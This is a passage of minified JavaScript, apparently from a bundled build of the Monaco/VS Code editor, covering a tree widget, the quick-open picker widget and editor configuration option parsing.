s.options.twistiePixels?s.options.twistiePixels:32,s.options.showTwistie=!1!==s.options.showTwistie,s.options.indentPixels=\"number\"==typeof s.options.indentPixels?s.options.indentPixels:12,s.options.alwaysFocused=!0===s.options.alwaysFocused,s.options.useShadows=!1!==s.options.useShadows,s.options.paddingOnRow=!1!==s.options.paddingOnRow,s.context=new d(s,n,i),s.model=new o.TreeModel(s.context),s.view=new r.TreeView(s.context,s.container),s.view.setModel(s.model),s.addEmitter(s.model),s.addEmitter(s.view),s.toDispose.push(s.model.addListener(\"highlight\",function(){return s._onHighlightChange.fire()})),s}return f(t,e),t.prototype.style=function(e){this.view.applyStyles(e)},Object.defineProperty(t.prototype,\"onDOMFocus\",{get:function(){return this.view&&this.view.onDOMFocus},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"onDOMBlur\",{get:function(){return this.view&&this.view.onDOMBlur},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"onHighlightChange\",{get:function(){return this._onHighlightChange&&this._onHighlightChange.event},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"onDispose\",{get:function(){return this._onDispose&&this._onDispose.event},enumerable:!0,configurable:!0}),t.prototype.getHTMLElement=function(){return this.view.getHTMLElement()},t.prototype.layout=function(e){this.view.layout(e)},t.prototype.DOMFocus=function(){this.view.focus()},t.prototype.isDOMFocused=function(){return this.view.isFocused()},t.prototype.DOMBlur=function(){this.view.blur()},t.prototype.onVisible=function(){this.view.onVisible()},t.prototype.onHidden=function(){this.view.onHidden()},t.prototype.setInput=function(e){return this.model.setInput(e)},t.prototype.getInput=function(){return this.model.getInput()},t.prototype.refresh=function(e,t){return void 0===e&&(e=null),void 0===t&&(t=!0),this.model.refresh(e,t)},t.prototype.expand=function(e){return this.model.expand(e)},t.prototype.expandAll=function(e){return this.model.expandAll(e)},t.prototype.collapse=function(e,t){return void 0===t&&(t=!1),this.model.collapse(e,t)},t.prototype.collapseAll=function(e,t){return void 0===e&&(e=null),void 0===t&&(t=!1),this.model.collapseAll(e,t)},t.prototype.toggleExpansion=function(e){return this.model.toggleExpansion(e)},t.prototype.toggleExpansionAll=function(e){return this.model.toggleExpansionAll(e)},t.prototype.isExpanded=function(e){return this.model.isExpanded(e)},t.prototype.getExpandedElements=function(){return this.model.getExpandedElements()},t.prototype.reveal=function(e,t){return void 0===t&&(t=null),this.model.reveal(e,t)},t.prototype.getRelativeTop=function(e){var t=this.model.getItem(e);return this.view.getRelativeTop(t)},t.prototype.getScrollPosition=function(){return this.view.getScrollPosition()},t.prototype.setScrollPosition=function(e){this.view.setScrollPosition(e)},t.prototype.getContentHeight=function(){return this.view.getTotalHeight()},t.prototype.setHighlight=function(e,t){this.model.setHighlight(e,t)},t.prototype.getHighlight=function(){return this.model.getHighlight()},t.prototype.isHighlighted=function(e){return this.model.isFocused(e)},t.prototype.clearHighlight=function(e){this.model.setHighlight(null,e)},t.prototype.select=function(e,t){this.model.select(e,t)},t.prototype.selectRange=function(e,t,n){this.model.selectRange(e,t,n)},t.prototype.deselectRange=function(e,t,n){this.model.deselectRange(e,t,n)},t.prototype.selectAll=function(e,t){this.model.selectAll(e,t)},t.prototype.deselect=function(e,t){this.model.deselect(e,t)},t.prototype.deselectAll=function(e,t){this.model.deselectAll(e,t)},t.prototype.setSelection=function(e,t){this.model.setSelection(e,t)},t.prototype.toggleSelection=function(e,t){this.model.toggleSelection(e,t)},t.prototype.isSelected=function(e){return this.model.isSelected(e)},t.prototype.getSelection=function(){return this.model.getSelection()},t.prototype.clearSelection=function(e){this.model.setSelection([],e)},t.prototype.selectNext=function(e,t,n){this.model.selectNext(e,t,n)},t.prototype.selectPrevious=function(e,t,n){this.model.selectPrevious(e,t,n)},t.prototype.selectParent=function(e,t){this.model.selectParent(e,t)},t.prototype.setFocus=function(e,t){this.model.setFocus(e,t)},t.prototype.isFocused=function(e){return this.model.isFocused(e)},t.prototype.getFocus=function(){return this.model.getFocus()},t.prototype.focusNext=function(e,t){this.model.focusNext(e,t)},t.prototype.focusPrevious=function(e,t){this.model.focusPrevious(e,t)},t.prototype.focusParent=function(e){this.model.focusParent(e)},t.prototype.focusFirstChild=function(e){this.model.focusFirstChild(e)},t.prototype.focusFirst=function(e,t){this.model.focusFirst(e,t)},t.prototype.focusNth=function(e,t){this.model.focusNth(e,t)},t.prototype.focusLast=function(e,t){this.model.focusLast(e,t)},t.prototype.focusNextPage=function(e){this.view.focusNextPage(e)},t.prototype.focusPreviousPage=function(e){this.view.focusPreviousPage(e)},t.prototype.clearFocus=function(e){this.model.setFocus(null,e)},t.prototype.addTraits=function(e,t){this.model.addTraits(e,t)},t.prototype.removeTraits=function(e,t){this.model.removeTraits(e,t)},t.prototype.toggleTrait=function(e,t){this.model.hasTrait(e,t)?this.model.removeTraits(e,[t]):this.model.addTraits(e,[t])},t.prototype.hasTrait=function(e,t){return this.model.hasTrait(e,t)},t.prototype.getNavigator=function(e,t){return new s.MappedNavigator(this.model.getNavigator(e,t),function(e){return e&&e.getElement()})},t.prototype.dispose=function(){this._onDispose.fire(),null!==this.model&&(this.model.dispose(),this.model=null),null!==this.view&&(this.view.dispose(),this.view=null),this.toDispose=u.dispose(this.toDispose),e.prototype.dispose.call(this)},t}(i.EventEmitter);t.Tree=p}),define(d[301],h([1,0,297,7,15,79,29,10,100,445,52,115,36,161,220,65,128,4,3,48,32,26,260]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,v,_,y,C,b,w){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var S=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype.onContextMenu=function(t,n,i){return o.isMacintosh?this.onLeftClick(t,n,i):e.prototype.onContextMenu.call(this,t,n,i)},t}(v.DefaultController);t.QuickOpenController=S;var E;!function(e){e[e.ELEMENT_SELECTED=0]=\"ELEMENT_SELECTED\",e[e.FOCUS_LOST=1]=\"FOCUS_LOST\",e[e.CANCELED=2]=\"CANCELED\"}(E=t.HideReason||(t.HideReason={}));var L={background:b.Color.fromHex(\"#1E1E1E\"),foreground:b.Color.fromHex(\"#CCCCCC\"),pickerGroupForeground:b.Color.fromHex(\"#0097FB\"),pickerGroupBorder:b.Color.fromHex(\"#3F3F46\"),widgetShadow:b.Color.fromHex(\"#000000\"),progressBarBackground:b.Color.fromHex(\"#0E70C0\")},x=n.localize(0,null),N=function(){function e(e,t,n,i){this.isDisposed=!1,this.toUnbind=[],this.container=e,this.callbacks=t,this.options=n,this.styles=n||Object.create(null),w.mixin(this.styles,L,!1),this.usageLogger=i,this.model=null}return e.prototype.getElement=function(){return c.$(this.builder)},e.prototype.getModel=function(){return this.model},e.prototype.setCallbacks=function(e){this.callbacks=e},e.prototype.create=function(){var e=this;return this.builder=c.$().div(function(t){t.on(_.EventType.KEY_DOWN,function(t){9===new m.StandardKeyboardEvent(t).keyCode&&(_.EventHelper.stop(t,!0),e.hide(E.CANCELED))}).on(_.EventType.CONTEXT_MENU,function(e){return _.EventHelper.stop(e,!0)}).on(_.EventType.FOCUS,function(t){return e.gainingFocus()},null,!0).on(_.EventType.BLUR,function(t){return e.loosingFocus(t)},null,!0),e.progressBar=new g.ProgressBar(t.clone(),{progressBarBackground:e.styles.progressBarBackground}),e.progressBar.getContainer().hide(),t.div({class:\"quick-open-input\"},function(t){e.inputContainer=t,e.inputBox=new d.InputBox(t.getHTMLElement(),null,{placeholder:e.options.inputPlaceHolder||\"\",ariaLabel:x,inputBackground:e.styles.inputBackground,inputForeground:e.styles.inputForeground,inputBorder:e.styles.inputBorder,inputValidationInfoBackground:e.styles.inputValidationInfoBackground,inputValidationInfoBorder:e.styles.inputValidationInfoBorder,inputValidationWarningBackground:e.styles.inputValidationWarningBackground,inputValidationWarningBorder:e.styles.inputValidationWarningBorder,inputValidationErrorBackground:e.styles.inputValidationErrorBackground,inputValidationErrorBorder:e.styles.inputValidationErrorBorder}),e.inputElement=e.inputBox.inputElement,e.inputElement.setAttribute(\"role\",\"combobox\"),e.inputElement.setAttribute(\"aria-haspopup\",\"false\"),e.inputElement.setAttribute(\"aria-autocomplete\",\"list\"),_.addDisposableListener(e.inputBox.inputElement,_.EventType.KEY_DOWN,function(t){var n=new m.StandardKeyboardEvent(t),i=e.shouldOpenInBackground(n);if(2!==n.keyCode)if(18===n.keyCode||16===n.keyCode||12===n.keyCode||11===n.keyCode)_.EventHelper.stop(t,!0),e.navigateInTree(n.keyCode,n.shiftKey),e.inputBox.inputElement.selectionStart===e.inputBox.inputElement.selectionEnd&&(e.inputBox.inputElement.selectionStart=e.inputBox.value.length);else if(3===n.keyCode||i){_.EventHelper.stop(t,!0);var o=e.tree.getFocus();o&&e.elementSelected(o,t,i?u.Mode.OPEN_IN_BACKGROUND:u.Mode.OPEN)}}),_.addDisposableListener(e.inputBox.inputElement,_.EventType.INPUT,function(t){e.onType()})}),e.treeContainer=t.div({class:\"quick-open-tree\"},function(t){e.tree=new p.Tree(t.getHTMLElement(),{dataSource:new l.DataSource(e),controller:new S({clickBehavior:v.ClickBehavior.ON_MOUSE_UP,keyboardSupport:e.options.keyboardSupport}),renderer:e.renderer=new l.Renderer(e,e.styles),filter:new l.Filter(e),accessibilityProvider:new l.AccessibilityProvider(e)},{twistiePixels:11,indentPixels:0,alwaysFocused:!0,verticalScrollMode:C.ScrollbarVisibility.Visible,ariaLabel:n.localize(1,null),keyboardSupport:e.options.keyboardSupport}),e.treeElement=e.tree.getHTMLElement(),e.toUnbind.push(e.tree.addListener(r.EventType.FOCUS,function(t){e.elementFocused(t.focus,t)})),e.toUnbind.push(e.tree.addListener(r.EventType.SELECTION,function(t){t.selection&&t.selection.length>0&&e.elementSelected(t.selection[0],t)}))}).on(_.EventType.KEY_DOWN,function(t){var n=new m.StandardKeyboardEvent(t);e.quickNavigateConfiguration&&(18!==n.keyCode&&16!==n.keyCode&&12!==n.keyCode&&11!==n.keyCode||(_.EventHelper.stop(t,!0),e.navigateInTree(n.keyCode)))}).on(_.EventType.KEY_UP,function(t){var n=new m.StandardKeyboardEvent(t),i=n.keyCode;if(e.quickNavigateConfiguration){var o=e.quickNavigateConfiguration.keybindings;if(3===i||o.some(function(e){var t=e.getParts(),o=t[0];return!t[1]&&(o.shiftKey&&4===i?!(n.ctrlKey||n.altKey||n.metaKey):!(!o.altKey||6!==i)||(!(!o.ctrlKey||5!==i)||!(!o.metaKey||57!==i)))})){var r=e.tree.getFocus();r&&e.elementSelected(r,t)}}}).clone()}).addClass(\"quick-open-widget\").build(this.container),this.layoutDimensions&&this.layout(this.layoutDimensions),this.applyStyles(),this.builder.getHTMLElement()},e.prototype.style=function(e){this.styles=e,this.applyStyles()},e.prototype.applyStyles=function(){if(this.builder){var e=this.styles.foreground?this.styles.foreground.toString():null,t=this.styles.background?this.styles.background.toString():null,n=this.styles.borderColor?this.styles.borderColor.toString():null,i=this.styles.widgetShadow?this.styles.widgetShadow.toString():null;this.builder.style(\"color\",e),this.builder.style(\"background-color\",t),this.builder.style(\"border-color\",n),this.builder.style(\"border-width\",n?\"1px\":null),this.builder.style(\"border-style\",n?\"solid\":null),this.builder.style(\"box-shadow\",i?\"0 5px 8px \"+i:null)}this.progressBar&&this.progressBar.style({progressBarBackground:this.styles.progressBarBackground}),this.inputBox&&this.inputBox.style({inputBackground:this.styles.inputBackground,inputForeground:this.styles.inputForeground,inputBorder:this.styles.inputBorder,inputValidationInfoBackground:this.styles.inputValidationInfoBackground,inputValidationInfoBorder:this.styles.inputValidationInfoBorder,inputValidationWarningBackground:this.styles.inputValidationWarningBackground,inputValidationWarningBorder:this.styles.inputValidationWarningBorder,inputValidationErrorBackground:this.styles.inputValidationErrorBackground,inputValidationErrorBorder:this.styles.inputValidationErrorBorder}),this.tree&&this.tree.style(this.styles),this.renderer&&this.renderer.updateStyles(this.styles)},e.prototype.shouldOpenInBackground=function(e){return 17===e.keyCode&&(!(e.metaKey||e.ctrlKey||e.shiftKey||e.altKey)&&this.inputBox.inputElement.selectionEnd===this.inputBox.value.length)},e.prototype.onType=function(){var e=this.inputBox.value;this.helpText&&(e?this.helpText.hide():this.helpText.show()),this.callbacks.onType(e)},e.prototype.navigate=function(e,t){this.isVisible()&&(!this.quickNavigateConfiguration&&t&&(this.quickNavigateConfiguration=t,this.tree.DOMFocus()),this.navigateInTree(e?18:16))},e.prototype.navigateInTree=function(e,t){var n=this.tree.getInput(),i=n?n.entries:[],o=this.tree.getFocus();switch(e){case 18:this.tree.focusNext();break;case 16:this.tree.focusPrevious();break;case 12:this.tree.focusNextPage();break;case 11:this.tree.focusPreviousPage();break;case 2:t?this.tree.focusPrevious():this.tree.focusNext()}var r=this.tree.getFocus();i.length>1&&o===r&&(16===e||2===e&&t?this.tree.focusLast():(18===e||2===e&&!t)&&this.tree.focusFirst()),(r=this.tree.getFocus())&&this.tree.reveal(r).done(null,a.onUnexpectedError)},e.prototype.elementFocused=function(e,t){if(e&&this.isVisible()){this.inputElement.setAttribute(\"aria-activedescendant\",this.treeElement.getAttribute(\"aria-activedescendant\"));var n={event:t,keymods:this.extractKeyMods(t),quickNavigateConfiguration:this.quickNavigateConfiguration};this.model.runner.run(e,u.Mode.PREVIEW,n)}},e.prototype.elementSelected=function(e,t,n){var i=!0;if(this.isVisible()){var o=n||u.Mode.OPEN,r={event:t,keymods:this.extractKeyMods(t),quickNavigateConfiguration:this.quickNavigateConfiguration};i=this.model.runner.run(e,o,r)}if(this.usageLogger){var s=this.model.entries.indexOf(e),a=this.model.entries.length;this.usageLogger.publicLog(\"quickOpenWidgetItemAccepted\",{index:s,count:a,isQuickNavigate:!!this.quickNavigateConfiguration})}i&&this.hide(E.ELEMENT_SELECTED)},e.prototype.extractKeyMods=function(e){return e&&(e.ctrlKey||e.metaKey||e.payload&&e.payload.originalEvent&&(e.payload.originalEvent.ctrlKey||e.payload.originalEvent.metaKey))?[2048]:[]},e.prototype.show=function(e,t){this.visible=!0,this.isLoosingFocus=!1,this.quickNavigateConfiguration=t?t.quickNavigateConfiguration:void 0,this.quickNavigateConfiguration?(this.inputContainer.hide(),this.builder.show(),this.tree.DOMFocus()):(this.inputContainer.show(),this.builder.show(),this.inputBox.focus()),this.helpText&&(this.quickNavigateConfiguration||s.isString(e)?this.helpText.hide():this.helpText.show()),s.isString(e)?this.doShowWithPrefix(e):this.doShowWithInput(e,t&&t.autoFocus?t.autoFocus:{}),t&&t.inputSelection&&!this.quickNavigateConfiguration&&this.inputBox.select(t.inputSelection),this.callbacks.onShow&&this.callbacks.onShow()},e.prototype.doShowWithPrefix=function(e){this.inputBox.value=e,this.callbacks.onType(e)},e.prototype.doShowWithInput=function(e,t){this.setInput(e,t)},e.prototype.setInputAndLayout=function(e,t){var n=this;this.treeContainer.style({height:this.getHeight(e)+\"px\"}),this.tree.setInput(null).then(function(){return n.model=e,n.inputElement.setAttribute(\"aria-haspopup\",String(e&&e.entries&&e.entries.length>0)),n.tree.setInput(e)}).done(function(){n.tree.layout(),e&&e.entries.some(function(t){return n.isElementVisible(e,t)})&&n.autoFocus(e,t)},a.onUnexpectedError)},e.prototype.isElementVisible=function(e,t){return!e.filter||e.filter.isVisible(t)},e.prototype.autoFocus=function(e,t){var n=this;void 0===t&&(t={});var i=e.entries.filter(function(t){return n.isElementVisible(e,t)});if(t.autoFocusPrefixMatch){for(var o=void 0,r=void 0,s=t.autoFocusPrefixMatch,u=s.toLowerCase(),l=0;l<i.length;l++){var c=i[l],d=e.dataSource.getLabel(c);if(o||0!==d.indexOf(s)?r||0!==d.toLowerCase().indexOf(u)||(r=c):o=c,o&&r)break}var h=o||r;if(h)return this.tree.setFocus(h),void this.tree.reveal(h,.5).done(null,a.onUnexpectedError)}t.autoFocusFirstEntry?(this.tree.focusFirst(),this.tree.reveal(this.tree.getFocus()).done(null,a.onUnexpectedError)):\"number\"==typeof t.autoFocusIndex?i.length>t.autoFocusIndex&&(this.tree.focusNth(t.autoFocusIndex),this.tree.reveal(this.tree.getFocus()).done(null,a.onUnexpectedError)):t.autoFocusSecondEntry?i.length>1&&this.tree.focusNth(1):t.autoFocusLastEntry&&i.length>1&&this.tree.focusLast()},e.prototype.refresh=function(e,t){var n=this;this.isVisible()&&(e||(e=this.tree.getInput()),e&&(this.treeContainer.style({height:this.getHeight(e)+\"px\"}),this.tree.refresh().done(function(){n.tree.layout(),t&&t&&e&&e.entries.some(function(t){return n.isElementVisible(e,t)})&&n.autoFocus(e,t)},a.onUnexpectedError)))},e.prototype.getHeight=function(t){var n=this,i=t.renderer;if(!t){var o=i.getHeight(null);return this.options.minItemsToShow?this.options.minItemsToShow*o:0}var r,s=0;this.layoutDimensions&&this.layoutDimensions.height&&(r=.4*(this.layoutDimensions.height-50)),(!r||r>e.MAX_ITEMS_HEIGHT)&&(r=e.MAX_ITEMS_HEIGHT);for(var a=t.entries.filter(function(e){return n.isElementVisible(t,e)}),u=this.options.maxItemsToShow||a.length,l=0;l<u&&l<a.length;l++){var c=i.getHeight(a[l]);if(!(s+c<=r))break;s+=c}return s},e.prototype.hide=function(e){var t=this;if(this.isVisible()){if(this.visible=!1,this.builder.hide(),this.builder.domBlur(),e===E.CANCELED&&this.model){var n=this.model.entries.filter(function(e){return t.isElementVisible(t.model,e)}).length;this.usageLogger&&this.usageLogger.publicLog(\"quickOpenWidgetCancelled\",{count:n,isQuickNavigate:!!this.quickNavigateConfiguration})}this.inputBox.value=\"\",this.tree.setInput(null),this.inputElement.setAttribute(\"aria-haspopup\",\"false\"),this.treeContainer.style({height:(this.options.minItemsToShow?22*this.options.minItemsToShow:0)+\"px\"}),this.progressBar.stop().getContainer().hide(),this.tree.isDOMFocused()?this.tree.DOMBlur():this.inputBox.hasFocus()&&this.inputBox.blur(),e===E.ELEMENT_SELECTED?this.callbacks.onOk():this.callbacks.onCancel(),this.callbacks.onHide&&this.callbacks.onHide(e)}},e.prototype.getQuickNavigateConfiguration=function(){return this.quickNavigateConfiguration},e.prototype.setPlaceHolder=function(e){this.inputBox&&this.inputBox.setPlaceHolder(e)},e.prototype.setValue=function(e,t){if(this.inputBox)if(this.inputBox.value=e,Array.isArray(t)){var n=t[0],i=t[1];this.inputBox.select({start:n,end:i})}else this.inputBox.select()},e.prototype.setPassword=function(e){this.inputBox&&(this.inputBox.inputElement.type=e?\"password\":\"text\")},e.prototype.setInput=function(e,t,n){this.isVisible()&&(this.getInput()&&this.onInputChanging(),this.setInputAndLayout(e,t),this.inputBox&&this.inputBox.setAriaLabel(n||x))},e.prototype.onInputChanging=function(){var e=this;this.inputChangingTimeoutHandle&&(clearTimeout(this.inputChangingTimeoutHandle),this.inputChangingTimeoutHandle=null),this.builder.addClass(\"content-changing\"),this.inputChangingTimeoutHandle=setTimeout(function(){e.builder.removeClass(\"content-changing\")},500)},e.prototype.getInput=function(){return this.tree.getInput()},e.prototype.getTree=function(){return this.tree},e.prototype.showInputDecoration=function(e){this.inputBox&&this.inputBox.showMessage({type:e===h.default.Info?d.MessageType.INFO:e===h.default.Warning?d.MessageType.WARNING:d.MessageType.ERROR,content:\"\"})},e.prototype.clearInputDecoration=function(){this.inputBox&&this.inputBox.hideMessage()},e.prototype.focus=function(){this.isVisible()&&this.inputBox&&this.inputBox.focus()},e.prototype.accept=function(){if(this.isVisible()){var e=this.tree.getFocus();e&&this.elementSelected(e)}},e.prototype.getProgressBar=function(){return this.progressBar},e.prototype.getInputBox=function(){return this.inputBox},e.prototype.setExtraClass=function(e){var t=this.builder.getProperty(\"extra-class\");t&&this.builder.removeClass(t),e?(this.builder.addClass(e),this.builder.setProperty(\"extra-class\",e)):t&&this.builder.removeProperty(\"extra-class\")},e.prototype.isVisible=function(){return this.visible},e.prototype.layout=function(t){this.layoutDimensions=t;var n=Math.min(.62*this.layoutDimensions.width,e.MAX_WIDTH);this.builder&&(this.builder.style({width:n+\"px\",marginLeft:\"-\"+n/2+\"px\"}),this.inputContainer.style({width:n-12+\"px\"}))},e.prototype.gainingFocus=function(){this.isLoosingFocus=!1},e.prototype.loosingFocus=function(e){var t=this;if(this.isVisible()){var n=e.relatedTarget;!this.quickNavigateConfiguration&&_.isAncestor(n,this.builder.getHTMLElement())||(this.isLoosingFocus=!0,i.TPromise.timeout(0).then(function(){t.isLoosingFocus&&(t.isDisposed||t.callbacks.onFocusLost&&t.callbacks.onFocusLost()||t.hide(E.FOCUS_LOST))}))}},e.prototype.dispose=function(){this.isDisposed=!0,this.toUnbind=y.dispose(this.toUnbind),this.progressBar.dispose(),this.inputBox.dispose(),this.tree.dispose()},e.MAX_WIDTH=600,e.MAX_ITEMS_HEIGHT=440,e}();t.QuickOpenWidget=N}),define(d[302],h([6,8]),function(e,t){return e.create(\"vs/editor/browser/widget/diffEditorWidget\",t)}),define(d[303],h([6,8]),function(e,t){return e.create(\"vs/editor/browser/widget/diffReview\",t)}),define(d[304],h([6,8]),function(e,t){return e.create(\"vs/editor/common/config/commonEditorConfig\",t)}),define(d[305],h([6,8]),function(e,t){return e.create(\"vs/editor/common/config/editorOptions\",t)}),define(d[49],h([1,0,305,15,48,95]),function(e,t,n,i,o,r){\"use strict\";function s(e,t){return\"string\"!=typeof e?t:\"line\"===e?y.Line:\"block\"===e?y.Block:\"underline\"===e?y.Underline:\"line-thin\"===e?y.LineThin:\"block-outline\"===e?y.BlockOutline:\"underline-thin\"===e?y.UnderlineThin:y.Line}function a(e,t){return void 0===e?t:\"false\"!==e&&Boolean(e)}function u(e,t){return\"string\"!=typeof e?t:e}function l(e,t,n){return\"string\"!=typeof e?t:-1===n.indexOf(e)?t:e}function c(e,t,n,i){var o;return void 0===e?o=t:(o=parseInt(e,10),isNaN(o)&&(o=t)),o=Math.max(n,o),0|(o=Math.min(i,o))}function d(e,t){var n=parseFloat(e);return isNaN(n)&&(n=t),n}function h(e,t){return\"string\"!=typeof e?t:\"indent\"===e?m.Indent:\"same\"===e?m.Same:m.None}function p(e,t){if(\"string\"!=typeof e)return t;switch(e){case\"blink\":return v.Blink;case\"smooth\":return v.Smooth;case\"phase\":return v.Phase;case\"expand\":return v.Expand;case\"visible\":case\"solid\":return v.Solid}return v.Blink}function f(e,t){if(\"string\"!=typeof e)return t;switch(e){case\"hidden\":return o.ScrollbarVisibility.Hidden;case\"visible\":return o.ScrollbarVisibility.Visible;default:return o.ScrollbarVisibility.Auto}}Object.defineProperty(t,\"__esModule\",{value:!0});var g;!function(e){e[e.None=0]=\"None\",e[e.Small=1]=\"Small\",e[e.Large=2]=\"Large\",e[e.SmallBlocks=3]=\"SmallBlocks\",e[e.LargeBlocks=4]=\"LargeBlocks\"}(g=t.RenderMinimap||(t.RenderMinimap={}));var m;!function(e){e[e.None=0]=\"None\",e[e.Same=1]=\"Same\",e[e.Indent=2]=\"Indent\"}(m=t.WrappingIndent||(t.WrappingIndent={}));var v;!function(e){e[e.Hidden=0]=\"Hidden\",e[e.Blink=1]=\"Blink\",e[e.Smooth=2]=\"Smooth\",e[e.Phase=3]=\"Phase\",e[e.Expand=4]=\"Expand\",e[e.Solid=5]=\"Solid\"}(v=t.TextEditorCursorBlinkingStyle||(t.TextEditorCursorBlinkingStyle={})),t.blinkingStyleToString=function(e){if(e===v.Blink)return\"blink\";if(e===v.Expand)return\"expand\";if(e===v.Phase)return\"phase\";if(e===v.Smooth)return\"smooth\";if(e===v.Solid)return\"solid\";throw new Error(\"blinkingStyleToString: Unknown blinkingStyle\")};var y;!function(e){e[e.Line=1]=\"Line\",e[e.Block=2]=\"Block\",e[e.Underline=3]=\"Underline\",e[e.LineThin=4]=\"LineThin\",e[e.BlockOutline=5]=\"BlockOutline\",e[e.UnderlineThin=6]=\"UnderlineThin\"}(y=t.TextEditorCursorStyle||(t.TextEditorCursorStyle={})),t.cursorStyleToString=function(e){if(e===y.Line)return\"line\";if(e===y.Block)return\"block\";if(e===y.Underline)return\"underline\";if(e===y.LineThin)return\"line-thin\";if(e===y.BlockOutline)return\"block-outline\";if(e===y.UnderlineThin)return\"underline-thin\";throw new Error(\"cursorStyleToString: Unknown cursorStyle\")};var C=function(){function e(e){this.canUseLayerHinting=e.canUseLayerHinting,this.pixelRatio=e.pixelRatio,this.editorClassName=e.editorClassName,this.lineHeight=0|e.lineHeight,this.readOnly=e.readOnly,this.accessibilitySupport=e.accessibilitySupport,this.multiCursorModifier=e.multiCursorModifier,this.wordSeparators=e.wordSeparators,this.autoClosingBrackets=e.autoClosingBrackets,this.autoIndent=e.autoIndent,this.useTabStops=e.useTabStops,this.tabFocusMode=e.tabFocusMode,this.dragAndDrop=e.dragAndDrop,this.emptySelectionClipboard=e.emptySelectionClipboard,this.layoutInfo=e.layoutInfo,this.fontInfo=e.fontInfo,this.viewInfo=e.viewInfo,this.wrappingInfo=e.wrappingInfo,this.contribInfo=e.contribInfo}return e.prototype.equals=function(t){return this.canUseLayerHinting===t.canUseLayerHinting&&this.pixelRatio===t.pixelRatio&&this.editorClassName===t.editorClassName&&this.lineHeight===t.lineHeight&&this.readOnly===t.readOnly&&this.accessibilitySupport===t.accessibilitySupport&&this.multiCursorModifier===t.multiCursorModifier&&this.wordSeparators===t.wordSeparators&&this.autoClosingBrackets===t.autoClosingBrackets&&this.autoIndent===t.autoIndent&&this.useTabStops===t.useTabStops&&this.tabFocusMode===t.tabFocusMode&&this.dragAndDrop===t.dragAndDrop&&this.emptySelectionClipboard===t.emptySelectionClipboard&&e._equalsLayoutInfo(this.layoutInfo,t.layoutInfo)&&this.fontInfo.equals(t.fontInfo)&&e._equalsViewOptions(this.viewInfo,t.viewInfo)&&e._equalsWrappingInfo(this.wrappingInfo,t.wrappingInfo)&&e._equalsContribOptions(this.contribInfo,t.contribInfo)},e.prototype.createChangeEvent=function(t){return{canUseLayerHinting:this.canUseLayerHinting!==t.canUseLayerHinting,pixelRatio:this.pixelRatio!==t.pixelRatio,editorClassName:this.editorClassName!==t.editorClassName,lineHeight:this.lineHeight!==t.lineHeight,readOnly:this.readOnly!==t.readOnly,accessibilitySupport:this.accessibilitySupport!==t.accessibilitySupport,multiCursorModifier:this.multiCursorModifier!==t.multiCursorModifier,wordSeparators:this.wordSeparators!==t.wordSeparators,autoClosingBrackets:this.autoClosingBrackets!==t.autoClosingBrackets,autoIndent:this.autoIndent!==t.autoIndent,useTabStops:this.useTabStops!==t.useTabStops,tabFocusMode:this.tabFocusMode!==t.tabFocusMode,dragAndDrop:this.dragAndDrop!==t.dragAndDrop,emptySelectionClipboard:this.emptySelectionClipboard!==t.emptySelectionClipboard,layoutInfo:!e._equalsLayoutInfo(this.layoutInfo,t.layoutInfo),fontInfo:!this.fontInfo.equals(t.fontInfo),viewInfo:!e._equalsViewOptions(this.viewInfo,t.viewInfo),wrappingInfo:!e._equalsWrappingInfo(this.wrappingInfo,t.wrappingInfo),contribInfo:!e._equalsContribOptions(this.contribInfo,t.contribInfo)}},e._equalsLayoutInfo=function(e,t){return e.width===t.width&&e.height===t.height&&e.glyphMarginLeft===t.glyphMarginLeft&&e.glyphMarginWidth===t.glyphMarginWidth&&e.glyphMarginHeight===t.glyphMarginHeight&&e.lineNumbersLeft===t.lineNumbersLeft&&e.lineNumbersWidth===t.lineNumbersWidth&&e.lineNumbersHeight===t.lineNumbersHeight&&e.decorationsLeft===t.decorationsLeft&&e.decorationsWidth===t.decorationsWidth&&e.decorationsHeight===t.decorationsHeight&&e.contentLeft===t.contentLeft&&e.contentWidth===t.contentWidth&&e.contentHeight===t.contentHeight&&e.renderMinimap===t.renderMinimap&&e.minimapWidth===t.minimapWidth&&e.viewportColumn===t.viewportColumn&&e.verticalScrollbarWidth===t.verticalScrollbarWidth&&e.horizontalScrollbarHeight===t.horizontalScrollbarHeight&&this._equalsOverviewRuler(e.overviewRuler,t.overviewRuler)},e._equalsOverviewRuler=function(e,t){return e.width===t.width&&e.height===t.height&&e.top===t.top&&e.right===t.right},e._equalsViewOptions=function(e,t){return e.extraEditorClassName===t.extraEditorClassName&&e.disableMonospaceOptimizations===t.disableMonospaceOptimizations&&this._equalsNumberArrays(e.rulers,t.rulers)&&e.ariaLabel===t.ariaLabel&&e.renderLineNumbers===t.renderLineNumbers&&e.renderCustomLineNumbers===t.renderCustomLineNumbers&&e.renderRelativeLineNumbers===t.renderRelativeLineNumbers&&e.selectOnLineNumbers===t.selectOnLineNumbers&&e.glyphMargin===t.glyphMargin&&e.revealHorizontalRightPadding===t.revealHorizontalRightPadding&&e.roundedSelection===t.roundedSelection&&e.overviewRulerLanes===t.overviewRulerLanes&&e.overviewRulerBorder===t.overviewRulerBorder&&e.cursorBlinking===t.cursorBlinking&&e.mouseWheelZoom===t.mouseWheelZoom&&e.cursorStyle===t.cursorStyle&&e.hideCursorInOverviewRuler===t.hideCursorInOverviewRuler&&e.scrollBeyondLastLine===t.scrollBeyondLastLine&&e.stopRenderingLineAfter===t.stopRenderingLineAfter&&e.renderWhitespace===t.renderWhitespace&&e.renderControlCharacters===t.renderControlCharacters&&e.fontLigatures===t.fontLigatures&&e.renderIndentGuides===t.renderIndentGuides&&e.renderLineHighlight===t.renderLineHighlight&&this._equalsScrollbarOptions(e.scrollbar,t.scrollbar)&&this._equalsMinimapOptions(e.minimap,t.minimap)&&e.fixedOverflowWidgets===t.fixedOverflowWidgets},e._equalsScrollbarOptions=function(e,t){return 